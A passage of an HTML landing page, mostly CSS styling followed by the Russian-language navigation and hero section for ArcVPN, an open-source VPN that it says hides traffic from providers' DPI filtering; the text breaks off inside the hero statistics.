{\n            font-size: .65rem;\n            font-weight: 700;\n            letter-spacing: .1em;\n            text-transform: uppercase;\n            color: var(--w18);\n            margin-left: 4px\n        }\n\n        .hw-status {\n            margin-left: auto;\n            display: flex;\n            align-items: center;\n            gap: 5px;\n            font-size: .65rem;\n            font-weight: 700;\n            color: var(--green);\n        }\n\n        .hw-status::before {\n            content: '';\n            width: 6px;\n            height: 6px;\n            border-radius: 50%;\n            background: currentColor;\n            animation: hpulse 1.6s ease-in-out infinite\n        }\n\n        /* network path viz */\n        .hw-net {\n            padding: 20px 18px 14px;\n            overflow-x: auto;\n            -webkit-overflow-scrolling: touch;\n        }\n\n        .net-nodes {\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            gap: 0;\n            margin-bottom: 16px;\n            min-width: 340px;\n        }\n\n        .nn {\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 6px;\n            flex-shrink: 0\n        }\n\n        .nn-box {\n            width: 48px;\n            height: 48px;\n            border-radius: 13px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            position: relative;\n        }\n\n        .nn-b {\n            background: rgba(37, 99, 235, .12);\n            border: 1px solid rgba(37, 99, 235, .25);\n            color: var(--blue3)\n        }\n\n        .nn-r {\n            background: rgba(248, 113, 113, .1);\n            border: 1px solid rgba(248, 113, 113, .22);\n            color: #f87171\n        }\n\n        .nn-g {\n            background: rgba(52, 211, 153, .1);\n            border: 1px solid rgba(52, 211, 153, .22);\n            color: var(--green)\n        }\n\n        .nn-c {\n            background: rgba(34, 211, 238, .08);\n            border: 1px solid rgba(34, 211, 238, .2);\n            color: var(--cyan)\n        }\n\n        .nn-lbl {\n            font-size: .6rem;\n            font-weight: 700;\n            color: var(--w18);\n            letter-spacing: .04em\n        }\n\n        .nn-badge {\n            position: absolute;\n            top: -5px;\n            right: -5px;\n            width: 16px;\n            height: 16px;\n            border-radius: 50%;\n            background: #ef4444;\n            border: 2px solid var(--bg1);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .nn-ok {\n            position: absolute;\n            bottom: -5px;\n            right: -5px;\n            background: #059669;\n            border: 2px solid var(--bg1);\n            border-radius: 99px;\n            padding: 1px 4px;\n            font-size: .43rem;\n            font-weight: 900;\n            color: #fff;\n            letter-spacing: .04em;\n        }\n\n        /* connector */\n        .nconn {\n            flex: 1;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 5px;\n            position: relative;\n            min-width: 28px;\n        }\n\n        .nline {\n            width: 100%;\n            height: 1.5px;\n            border-radius: 1px;\n            position: relative;\n            overflow: visible\n        }\n\n        .nl-enc {\n            background: rgba(52, 211, 153, .25)\n        }\n\n        .nl-plain {\n            background: rgba(255, 255, 255, .07)\n        }\n\n        .nl-cut {\n            background: rgba(248, 113, 113, .2)\n        }\n\n        /* animated flow dot */\n        .ndot {\n            position: absolute;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 5px;\n            height: 5px;\n            border-radius: 50%;\n            will-change: left;\n        }\n\n        .nd-g {\n            background: var(--green);\n            box-shadow: 0 0 8px var(--green);\n            animation: flowdot 1.6s linear infinite\n        }\n\n        .nd-g2 {\n            background: var(--green);\n            box-shadow: 0 0 6px var(--green);\n            animation: flowdot 1.6s linear infinite;\n            animation-delay: .7s;\n            opacity: .55\n        }\n\n        .nd-w {\n            background: rgba(255, 255, 255, .4);\n            animation: flowdot 2s linear infinite\n        }\n\n        @keyframes flowdot {\n            from {\n                left: -4px\n            }\n\n            to {\n                left: calc(100% + 4px)\n            }\n        }\n\n        .nconn-tag {\n            font-size: .5rem;\n            font-weight: 700;\n            letter-spacing: .05em;\n            text-transform: uppercase;\n            white-space: nowrap\n        }\n\n        /* metrics row */\n        .hw-metrics {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1px;\n            background: var(--line);\n            border-top: 1px solid var(--line);\n        }\n\n        .hm {\n            background: var(--bg1);\n            padding: 14px 16px\n        }\n\n        .hm-v {\n            font-size: 1.15rem;\n            font-weight: 900;\n            letter-spacing: -.04em;\n            color: #fff;\n            line-height: 1\n        }\n\n        .hm-v sup {\n            font-size: .6rem;\n            color: var(--blue3);\n            vertical-align: super;\n            margin-left: 1px\n        }\n\n        .hm-l {\n            font-size: .58rem;\n            color: var(--w18);\n            margin-top: 5px;\n            font-weight: 600;\n            letter-spacing: .04em;\n            text-transform: uppercase\n        }\n\n        /* log stream */\n        .hw-log {\n            padding: 14px 18px;\n            font-family: 'SF Mono', 'Fira Code', monospace;\n            font-size: .65rem;\n            line-height: 1.9;\n            color: var(--w18);\n            border-top: 1px solid var(--line);\n            background: rgba(0, 0, 0, .25);\n            max-height: 110px;\n            overflow: hidden;\n        }\n\n        .hw-log .ok {\n            color: var(--green)\n        }\n\n        .hw-log .info {\n            color: var(--blue3)\n        }\n\n        .hw-log .warn {\n            color: var(--amber)\n        }\n\n        .hw-log .cur {\n            display: inline-block;\n            width: 7px;\n            height: 10px;\n            background: var(--blue2);\n            vertical-align: middle;\n            animation: cur .9s step-end infinite\n        }\n\n        @keyframes cur {\n\n            0%,\n            100% {\n                opacity: 1\n            }\n\n            50% {\n                opacity: 0\n            }\n        }\n\n        /* ─── SERVICES ───────────────────────────── */\n        .services {\n            border-top: 1px solid var(--line);\n            border-bottom: 1px solid var(--line);\n            padding: 26px 44px\n        }\n\n        .svc-inner {\n            max-width: 1120px;\n            margin: 0 auto\n        }\n\n        .svc-label {\n            text-align: center;\n            font-size: .62rem;\n            font-weight: 700;\n            letter-spacing: .18em;\n            text-transform: uppercase;\n            color: var(--w18);\n            margin-bottom: 18px\n        }\n\n        .svc-row {\n            display: flex;\n            flex-wrap: wrap;\n            gap: 8px;\n            justify-content: center\n        }\n\n        .svc-chip {\n            display: inline-flex;\n            align-items: center;\n            gap: 7px;\n            padding: 6px 14px 6px 7px;\n            border-radius: 99px;\n            background: var(--card);\n            border: 1px solid var(--line);\n            font-size: .8rem;\n            font-weight: 600;\n            color: var(--w35);\n            transition: background .2s, border-color .2s, color .2s, transform .2s;\n        }\n\n        .svc-chip:hover {\n            background: var(--card2);\n            border-color: var(--line2);\n            color: var(--w90);\n            transform: translateY(-2px)\n        }\n\n        .svc-ico {\n            width: 22px;\n            height: 22px;\n            border-radius: 50%;\n            flex-shrink: 0;\n            display: flex;\n            align-items: center;\n            justify-content: center\n        }\n\n        /* ─── COMMON SECTION ─────────────────────── */\n        .sec {\n            padding: 120px 44px;\n            position: relative;\n            overflow: hidden\n        }\n\n        /* subtle dot grid for all sections */\n        .sec::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            pointer-events: none;\n            z-index: 0;\n            background-image: radial-gradient(circle, rgba(255, 255, 255, .032) 1px, transparent 1px);\n            background-size: 32px 32px;\n            mask-image: radial-gradient(ellipse 80% 80% at 50% 50%, rgba(0, 0, 0, .6) 0%, transparent 75%);\n        }\n\n        .sec-wrap {\n            max-width: 1120px;\n            margin: 0 auto;\n            position: relative;\n            z-index: 1\n        }\n\n        /* section bg strip */\n        .sec-glow {\n            position: absolute;\n            pointer-events: none;\n            background: radial-gradient(ellipse 70% 50% at 50% 0%, rgba(37, 99, 235, .09), transparent 60%);\n            top: 0;\n            left: 0;\n            right: 0;\n            height: 400px;\n            z-index: 0;\n        }\n\n        .sec-kicker {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            font-size: .62rem;\n            font-weight: 700;\n            letter-spacing: .18em;\n            text-transform: uppercase;\n            color: var(--blue3);\n            margin-bottom: 14px;\n        }\n\n        .sec-kicker::before {\n            content: '';\n            width: 18px;\n            height: 1.5px;\n            background: currentColor\n        }\n\n        h2 {\n            font-size: clamp(2.2rem, 3.8vw, 3.2rem);\n            font-weight: 900;\n            letter-spacing: -.06em;\n            word-spacing: .12em;\n            line-height: 1.07;\n            color: #fff;\n            margin-bottom: 14px\n        }\n\n        h2 em {\n            font-style: normal;\n            display: inline-block;\n            padding-bottom: .1em\n        }\n\n        h2 .g {\n            background: linear-gradient(125deg, var(--blue3), var(--cyan));\n            -webkit-background-clip: text;\n            -webkit-text-fill-color: transparent\n        }\n\n        .sec-sub {\n            font-size: .96rem;\n            color: var(--w35);\n            line-height: 1.76;\n            max-width: 480px\n        }\n\n        .sec-head {\n            margin-bottom: 64px\n        }\n\n        /* ─── FEATURES ───────────────────────────── */\n        .feat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 2px\n        }\n\n        /* outer wrapper has line borders */\n        .feat-grid-wrap {\n            border: 1px solid var(--line);\n            border-radius: 16px;\n            overflow: hidden;\n        }\n\n        .fc {\n            background: var(--bg);\n            padding: 32px;\n            border-right: 1px solid var(--line);\n            border-bottom: 1px solid var(--line);\n            position: relative;\n            overflow: hidden;\n            transition: background .25s;\n        }\n\n        .fc:nth-child(3n),\n        .fc:nth-child(3n+3) {\n            border-right: none\n        }\n\n        .fc:nth-last-child(-n+3) {\n            border-bottom: none\n        }\n\n        .fc::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: radial-gradient(260px at var(--mx, 50%) var(--my, 50%), rgba(37, 99, 235, .07), transparent 55%);\n            opacity: 0;\n            transition: opacity .35s;\n            pointer-events: none;\n        }\n\n        .fc:hover::before {\n            opacity: 1\n        }\n\n        .fc:hover {\n            background: var(--bg1)\n        }\n\n        .fc-ico {\n            width: 40px;\n            height: 40px;\n            border-radius: 10px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            margin-bottom: 20px;\n            transition: transform .3s cubic-bezier(.34, 1.56, .64, 1);\n        }\n\n        .fc:hover .fc-ico {\n            transform: scale(1.12) rotate(-6deg)\n        }\n\n        .ci-b {\n            background: rgba(37, 99, 235, .12);\n            color: var(--blue3)\n        }\n\n        .ci-c {\n            background: rgba(34, 211, 238, .1);\n            color: var(--cyan)\n        }\n\n        .ci-g {\n            background: rgba(52, 211, 153, .09);\n            color: var(--green)\n        }\n\n        .ci-p {\n            background: rgba(139, 92, 246, .1);\n            color: #a78bfa\n        }\n\n        .ci-a {\n            background: rgba(251, 191, 36, .09);\n            color: #fbbf24\n        }\n\n        .ci-r {\n            background: rgba(248, 113, 113, .09);\n            color: #f87171\n        }\n\n        .fc-name {\n            font-size: .92rem;\n            font-weight: 800;\n            color: #fff;\n            margin-bottom: 9px;\n            letter-spacing: -.025em\n        }\n\n        .fc-desc {\n            font-size: .82rem;\n            color: var(--w35);\n            line-height: 1.7\n        }\n\n        /* ─── HOW IT WORKS ────────────────────────── */\n        .sec-dark {\n            background: var(--bg1);\n            border-top: 1px solid var(--line);\n            border-bottom: 1px solid var(--line);\n            position: relative;\n        }\n\n        /* dot grid + corner accent for dark sections */\n        .sec-dark::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            pointer-events: none;\n            z-index: 0;\n            background-image: radial-gradient(circle, rgba(255, 255, 255, .028) 1px, transparent 1px);\n            background-size: 28px 28px;\n        }\n\n        .sec-dark::after {\n            content: '';\n            position: absolute;\n            top: -120px;\n            right: -120px;\n            width: 500px;\n            height: 500px;\n            border-radius: 50%;\n            pointer-events: none;\n            z-index: 0;\n            background: radial-gradient(ellipse 55% 55% at 60% 40%,\n                    rgba(37, 99, 235, .11) 0%,\n                    rgba(34, 211, 238, .05) 45%,\n                    transparent 70%);\n        }\n\n        .hiw-grid {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 80px;\n            align-items: center\n        }\n\n        /* path diagram */\n        .path-card {\n            background: var(--bg);\n            border: 1px solid var(--line);\n            border-radius: 14px;\n            padding: 28px;\n            position: relative;\n            overflow: hidden\n        }\n\n        .path-card::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: radial-gradient(300px at var(--mx, 50%) var(--my, 50%), rgba(52, 211, 153, .06), transparent 55%);\n            opacity: 0;\n            transition: opacity .35s;\n            pointer-events: none\n        }\n\n        .path-card:hover::before {\n            opacity: 1\n        }\n\n        .path-lbl {\n            font-size: .58rem;\n            font-weight: 700;\n            letter-spacing: .14em;\n            text-transform: uppercase;\n            color: var(--w18);\n            text-align: center;\n            margin-bottom: 22px\n        }\n\n        .path-row {\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            gap: 0\n        }\n\n        .pn {\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 7px;\n            flex-shrink: 0\n        }\n\n        .pn-b {\n            width: 48px;\n            height: 48px;\n            border-radius: 13px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            position: relative\n        }\n\n        .pn-l {\n            font-size: .58rem;\n            font-weight: 700;\n            color: var(--w18);\n            text-align: center;\n            max-width: 50px;\n            line-height: 1.3\n        }\n\n        .pc {\n            flex: 1;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 4px;\n            position: relative;\n            min-width: 0\n        }\n\n        .pl {\n            width: 100%;\n            height: 1.5px;\n            border-radius: 1px;\n            position: relative;\n            overflow: visible\n        }\n\n        .pl-g {\n            background: rgba(52, 211, 153, .3)\n        }\n\n        .pl-b {\n            background: var(--line)\n        }\n\n        .pl-r {\n            background: rgba(248, 113, 113, .22);\n            background: repeating-linear-gradient(90deg, rgba(248, 113, 113, .3) 0, rgba(248, 113, 113, .3) 4px, transparent 4px, transparent 8px)\n        }\n\n        .pdot {\n            position: absolute;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 5px;\n            height: 5px;\n            border-radius: 50%;\n            will-change: left\n        }\n\n        .pd-g {\n            background: var(--green);\n            box-shadow: 0 0 7px var(--green);\n            animation: flowdot 1.5s linear infinite\n        }\n\n        .pd-g2 {\n            background: var(--green);\n            box-shadow: 0 0 5px var(--green);\n            animation: flowdot 1.5s linear infinite;\n            animation-delay: .65s;\n            opacity: .5\n        }\n\n        .pt {\n            font-size: .5rem;\n            font-weight: 700;\n            letter-spacing: .05em;\n            text-transform: uppercase;\n            white-space: nowrap\n        }\n\n        .pt-g {\n            color: rgba(52, 211, 153, .6)\n        }\n\n        .pt-r {\n            color: rgba(248, 113, 113, .5)\n        }\n\n        .path-stats {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1px;\n            background: var(--line);\n            border-radius: 12px;\n            overflow: hidden;\n            margin-top: 22px;\n        }\n\n        .ps {\n            background: var(--bg1);\n            padding: 18px 14px;\n            text-align: center\n        }\n\n        .ps-v {\n            font-size: 1.5rem;\n            font-weight: 900;\n            letter-spacing: -.05em;\n            color: #fff;\n            line-height: 1\n        }\n\n        .ps-v em {\n            font-style: normal;\n            color: var(--blue3);\n            font-size: .85rem\n        }\n\n        .ps-l {\n            font-size: .62rem;\n            color: var(--w18);\n            margin-top: 5px;\n            font-weight: 600;\n            letter-spacing: .04em;\n            text-transform: uppercase\n        }\n\n        /* DPI table */\n        .dpi-table {\n            background: var(--bg);\n            border: 1px solid var(--line);\n            border-radius: 14px;\n            overflow: hidden;\n            position: relative\n        }\n\n        .dpi-table::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: radial-gradient(300px at var(--mx, 50%) var(--my, 50%), rgba(37, 99, 235, .06), transparent 55%);\n            opacity: 0;\n            transition: opacity .35s;\n            pointer-events: none\n        }\n\n        .dpi-table:hover::before {\n            opacity: 1\n        }\n\n        .dt-head {\n            display: grid;\n            grid-template-columns: 90px 1fr 80px;\n            gap: 12px;\n            align-items: center;\n            padding: 12px 20px;\n            background: rgba(255, 255, 255, .02);\n            border-bottom: 1px solid var(--line)\n        }\n\n        .dt-h {\n            font-size: .58rem;\n            font-weight: 700;\n            letter-spacing: .1em;\n            text-transform: uppercase;\n            color: var(--w18)\n        }\n\n        .dt-body {}\n\n        .dt-row {\n            display: grid;\n            grid-template-columns: 90px 1fr 80px;\n            gap: 12px;\n            align-items: center;\n            padding: 14px 20px;\n            border-bottom: 1px solid var(--line);\n            transition: background .2s;\n        }\n\n        .dt-row:last-child {\n            border-bottom: none\n        }\n\n        .dt-row:hover {\n            background: rgba(255, 255, 255, .02)\n        }\n\n        .dt-name {\n            font-size: .75rem;\n            font-weight: 700;\n            color: var(--w60);\n            text-align: right\n        }\n\n        .dt-bar-wrap {\n            height: 8px;\n            background: rgba(255, 255, 255, .04);\n            border-radius: 99px;\n            overflow: hidden\n        }\n\n        .dt-bar {\n            height: 100%;\n            border-radius: 99px;\n            width: 0;\n            transition: width 1.4s var(--ease)\n        }\n\n        .db-red {\n            background: linear-gradient(90deg, rgba(248, 113, 113, .6), rgba(248, 113, 113, .4))\n        }\n\n        .db-amb {\n            background: linear-gradient(90deg, rgba(251, 191, 36, .5), rgba(251, 191, 36, .3))\n        }\n\n        .db-grn {\n            background: linear-gradient(90deg, var(--blue), var(--blue3))\n        }\n\n        .dt-verdict {\n            display: inline-flex;\n            align-items: center;\n            gap: 4px;\n            font-size: .65rem;\n            font-weight: 700;\n            padding: 4px 8px;\n            border-radius: 6px;\n            white-space: nowrap\n        }\n\n        .dv-r {\n            background: rgba(248, 113, 113, .1);\n            color: #f87171\n        }\n\n        .dv-a {\n            background: rgba(251, 191, 36, .08);\n            color: #fbbf24\n        }\n\n        .dv-g {\n            background: rgba(37, 99, 235, .12);\n            color: var(--blue3)\n        }\n\n        /* ─── PERFORMANCE ─────────────────────────── */\n        .perf-layout {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 80px;\n            align-items: center;\n        }\n\n        .planet-wrap {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .hero-illu {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .hiw-illu {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .planet-svg {\n            width: 100%;\n            max-width: 400px;\n            height: auto;\n            filter: drop-shadow(0 0 48px rgba(37, 99, 235, .28));\n        }\n\n        .perf-stats {\n            display: flex;\n            flex-direction: column;\n        }\n\n        .psi {\n            display: flex;\n            align-items: center;\n            gap: 24px;\n            padding: 26px 0;\n            border-bottom: 1px solid var(--line);\n        }\n\n        .psi:first-child {\n            border-top: 1px solid var(--line);\n        }\n\n        .psi-num {\n            font-size: clamp(1.9rem, 2.8vw, 2.5rem);\n            font-weight: 900;\n            letter-spacing: -.06em;\n            color: #fff;\n            line-height: 1;\n            flex-shrink: 0;\n            min-width: 108px;\n        }\n\n        .psi-num em {\n            font-style: normal;\n            font-size: .52em;\n            color: var(--blue3);\n            margin-left: 2px;\n        }\n\n        .psi-title {\n            font-size: .88rem;\n            font-weight: 700;\n            color: var(--w90);\n            margin-bottom: 5px;\n            letter-spacing: -.02em;\n        }\n\n        .psi-sub {\n            font-size: .76rem;\n            color: var(--w35);\n            line-height: 1.55;\n        }\n\n        /* ─── STEPS ──────────────────────────────── */\n        .steps-row {\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n            position: relative;\n            gap: 0;\n        }\n\n        .steps-row::before {\n            content: '';\n            position: absolute;\n            top: 25px;\n            left: calc(12.5% + 10px);\n            right: calc(12.5% + 10px);\n            height: 1px;\n            background: rgba(255, 255, 255, .22);\n            z-index: 0;\n        }\n\n        .st {\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            text-align: center;\n            padding: 0 20px;\n            z-index: 1;\n            position: relative;\n        }\n\n        .st-num {\n            width: 50px;\n            height: 50px;\n            border-radius: 50%;\n            background: var(--bg1);\n            border: 1px solid var(--line);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: .88rem;\n            font-weight: 900;\n            color: var(--w35);\n            margin-bottom: 18px;\n            transition: background .25s, border-color .25s, color .25s, box-shadow .3s;\n        }\n\n        .st:hover .st-num {\n            background: var(--blue);\n            border-color: var(--blue);\n            color: #fff;\n            box-shadow: 0 0 0 5px rgba(37, 99, 235, .18);\n        }\n\n        .st-title {\n            font-size: .88rem;\n            font-weight: 800;\n            color: #fff;\n            margin-bottom: 8px;\n            letter-spacing: -.02em\n        }\n\n        .st-desc {\n            font-size: .78rem;\n            color: var(--w35);\n            line-height: 1.65\n        }\n\n        /* ─── CTA ────────────────────────────────── */\n        .cta-sec {\n            padding: 140px 44px;\n            position: relative;\n            overflow: hidden;\n            border-top: 1px solid var(--line);\n        }\n\n        .cta-sec::before {\n            content: '';\n            position: absolute;\n            bottom: -30%;\n            left: 50%;\n            transform: translateX(-50%);\n            width: 1000px;\n            height: 700px;\n            border-radius: 50%;\n            background: radial-gradient(ellipse 60% 55% at 50% 60%,\n                    rgba(37, 99, 235, .2) 0%, rgba(37, 99, 235, .07) 40%, transparent 65%);\n            pointer-events: none;\n            z-index: 0;\n        }\n\n        .cta-sec::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            pointer-events: none;\n            z-index: 0;\n            background-image: radial-gradient(circle, rgba(255, 255, 255, .025) 1px, transparent 1px);\n            background-size: 28px 28px;\n            mask-image: radial-gradient(ellipse 70% 70% at 50% 50%, rgba(0, 0, 0, .5) 0%, transparent 75%);\n        }\n\n        .cta-inner {\n            max-width: 600px;\n            margin: 0 auto;\n            text-align: center;\n            position: relative;\n            z-index: 1\n        }\n\n        .cta-tag {\n            display: inline-flex;\n            align-items: center;\n            gap: 7px;\n            padding: 4px 12px 4px 6px;\n            border-radius: 99px;\n            border: 1px solid rgba(37, 99, 235, .3);\n            background: rgba(37, 99, 235, .07);\n            font-size: .62rem;\n            font-weight: 700;\n            letter-spacing: .12em;\n            text-transform: uppercase;\n            color: var(--blue3);\n            margin-bottom: 28px;\n        }\n\n        h2.cta-h {\n            font-size: clamp(2.6rem, 4.8vw, 4rem);\n            margin-bottom: 18px\n        }\n\n        .cta-p {\n            font-size: .96rem;\n            color: var(--w35);\n            line-height: 1.76;\n            margin-bottom: 38px\n        }\n\n        .cta-btns {\n            display: flex;\n            gap: 10px;\n            justify-content: center;\n            flex-wrap: wrap\n        }\n\n        .cta-note {\n            margin-top: 18px;\n            font-size: .68rem;\n            color: var(--w18)\n        }\n\n        /* ─── FOOTER ─────────────────────────────── */\n        footer {\n            border-top: 1px solid var(--line);\n            padding: 36px 44px\n        }\n\n        .ft-inner {\n            max-width: 1120px;\n            margin: 0 auto;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            flex-wrap: wrap;\n            gap: 16px\n        }\n\n        .ft-logo {\n            font-size: 1rem;\n            font-weight: 900;\n            letter-spacing: -.05em;\n            color: var(--w90)\n        }\n\n        .ft-logo span {\n            color: var(--blue2)\n        }\n\n        .ft-copy {\n            font-size: .72rem;\n            color: var(--w18)\n        }\n\n        .ft-gh {\n            display: inline-flex;\n            align-items: center;\n            gap: 6px;\n            font-size: .72rem;\n            color: var(--w18);\n            transition: color .15s\n        }\n\n        .ft-gh:hover {\n            color: var(--w90)\n        }\n\n        /* ─── REVEAL ANIM ────────────────────────── */\n        .rv {\n            opacity: 0;\n            transform: translateY(18px);\n            transition: opacity .65s var(--ease), transform .65s var(--ease);\n            will-change: opacity, transform\n        }\n\n        .rv.in {\n            opacity: 1;\n            transform: none\n        }\n\n        .dl1 {\n            transition-delay: .06s\n        }\n\n        .dl2 {\n            transition-delay: .12s\n        }\n\n        .dl3 {\n            transition-delay: .18s\n        }\n\n        .dl4 {\n            transition-delay: .24s\n        }\n\n        .dl5 {\n            transition-delay: .30s\n        }\n\n        .dl6 {\n            transition-delay: .36s\n        }\n\n        /* ─── RESPONSIVE ─────────────────────────── */\n        @media(max-width:1024px) {\n            .perf-layout {\n                grid-template-columns: 1fr;\n                gap: 48px;\n            }\n\n            .planet-wrap {\n                max-width: 320px;\n                margin: 0 auto;\n            }\n\n            .hero-illu svg {\n                max-width: 420px;\n                margin: 0 auto;\n                display: block;\n            }\n\n            .hiw-illu svg {\n                max-width: 400px;\n                margin: 0 auto;\n                display: block;\n            }\n\n            .hero-inner {\n                grid-template-columns: 1fr;\n                gap: 60px\n            }\n\n            .feat-grid {\n                grid-template-columns: repeat(2, 1fr)\n            }\n\n            .fc:nth-child(3n),\n            .fc:nth-child(3n+3) {\n                border-right: 1px solid var(--line)\n            }\n\n            .fc:nth-child(2n),\n            .fc:nth-child(2n+2) {\n                border-right: none\n            }\n\n            .fc:nth-last-child(-n+2) {\n                border-bottom: none\n            }\n\n            .fc:nth-last-child(-n+3):not(:nth-last-child(-n+2)) {\n                border-bottom: 1px solid var(--line)\n            }\n\n            .hiw-grid {\n                grid-template-columns: 1fr;\n                gap: 44px\n            }\n\n            .perf-grid {\n                grid-template-columns: 1fr\n            }\n\n            .gauge-wrap {\n                grid-column: span 1\n            }\n\n            .steps-row {\n                grid-template-columns: repeat(2, 1fr);\n                gap: 36px\n            }\n\n            .steps-row::before {\n                display: none\n            }\n        }\n\n        @media(max-width:768px) {\n            nav {\n                padding: 0 20px\n            }\n\n            .sec,\n            .cta-sec {\n                padding: 80px 20px\n            }\n\n            .hero {\n                padding: 96px 20px 80px\n            }\n\n            .services {\n                padding: 24px 20px\n            }\n\n            footer {\n                padding: 32px 20px\n            }\n\n            .nav-links,\n            .nav-r {\n                display: none\n            }\n\n            .nav-burger {\n                display: flex;\n                margin-left: auto\n            }\n\n            .feat-grid {\n                grid-template-columns: 1fr\n            }\n\n            .fc:nth-child(n) {\n                border-right: none\n            }\n\n            .fc:nth-last-child(1) {\n                border-bottom: none\n            }\n\n            .path-row {\n                flex-wrap: wrap;\n                gap: 12px;\n                justify-content: center\n            }\n\n            .pc {\n                display: none\n            }\n\n            .steps-row {\n                grid-template-columns: 1fr\n            }\n\n            .h-stats {\n                gap: 20px;\n                flex-wrap: wrap\n            }\n\n            .ft-inner {\n                flex-direction: column;\n                text-align: center\n            }\n\n            .planet-svg {\n                max-width: 260px;\n            }\n\n            .hero-illu svg {\n                max-width: 300px;\n            }\n\n            .hiw-illu svg {\n                max-width: 340px;\n            }\n\n            .psi-num {\n                font-size: 1.75rem;\n                min-width: 88px;\n            }\n\n            .hero-widget {\n                border-radius: 14px\n            }\n\n            .hw-net {\n                padding: 16px 14px 12px\n            }\n\n            .hw-metrics .hm {\n                padding: 12px\n            }\n\n            .hm-v {\n                font-size: 1rem\n            }\n\n            .hw-log {\n                font-size: .6rem\n            }\n        }\n\n        @media(max-width:480px) {\n\n            .h-btns,\n            .cta-btns {\n                flex-direction: column;\n                align-items: stretch\n            }\n\n            .btn-prim,\n            .btn-sec {\n                justify-content: center\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- NAV -->\n    <nav id=\"nav\">\n        <a href=\"#\" class=\"nav-logo\">Arc<span>VPN</span></a>\n        <ul class=\"nav-links\">\n            <li><a href=\"#features\">Возможности</a></li>\n            <li><a href=\"#hiw\">Как работает</a></li>\n            <li><a href=\"#perf\">Скорость</a></li>\n            <li><a href=\"#start\">Начало</a></li>\n        </ul>\n        <div class=\"nav-r\">\n            <a href=\"#\" class=\"btn-n-ghost\">Документация</a>\n            <a href=\"#\" class=\"btn-n\">\n                Скачать\n                <svg width=\"12\" height=\"12\" viewBox=\"0 0 16 16\" fill=\"none\">\n                    <path d=\"M3 8h10M9 4l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n            </a>\n        </div>\n        <button class=\"nav-burger\" id=\"burgerBtn\" aria-label=\"Меню\">\n            <span></span><span></span><span></span>\n        </button>\n    </nav>\n    <div class=\"mob-menu\" id=\"mobMenu\">\n        <a href=\"#features\">Возможности</a>\n        <a href=\"#hiw\">Как работает</a>\n        <a href=\"#perf\">Скорость</a>\n        <a href=\"#\">Скачать на GitHub</a>\n    </div>\n\n    <!-- HERO -->\n    <section class=\"hero\">\n        <div class=\"hero-grid\"></div>\n        <div class=\"hero-inner\">\n            <!-- left -->\n            <div>\n                <div class=\"h-tag rv\"><span class=\"h-tag-dot\"></span>Open Source · MIT · Бесплатно</div>\n                <h1 class=\"rv dl1\">\n                    Интернет<br>\n                    без цензуры<br>\n                    <em class=\"c1\">и слежки</em>\n                </h1>\n                <p class=\"hero-p rv dl2\">\n                    ArcVPN маскирует трафик под обычный TLS — <b>DPI-системы провайдеров</b> не обнаруживают ни одной VPN-сигнатуры. YouTube, Discord, Instagram работают.\n                </p>\n                <div class=\"h-btns rv dl3\">\n                    <a href=\"#\" class=\"btn-prim\">\n                        <svg width=\"15\" height=\"15\" viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                            <path d=\"M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z\" />\n                        </svg>\n                        Скачать бесплатно\n                    </a>\n                    <a href=\"#hiw\" class=\"btn-sec\">Как это работает</a>\n                </div>\n                <div class=\"h-stats rv dl4\">\n                    <div>\n                        <div class=\"hs-n\">100%</div>\n                        <div class=\"hs-l\">Обход ТСПУ</div>\n                    </div>\n                    <div>\n                        <div class=\"hs-n\">&lt;5 мс</div>\n                        <div class=\"hs-l\">Оверхед</div>\n                    </div>\n                    <div>\n                        <div class=\"hs-n\">No logs</div>\n                        <div class=\"hs-l\">Без логов</div>\n                    </div>\n                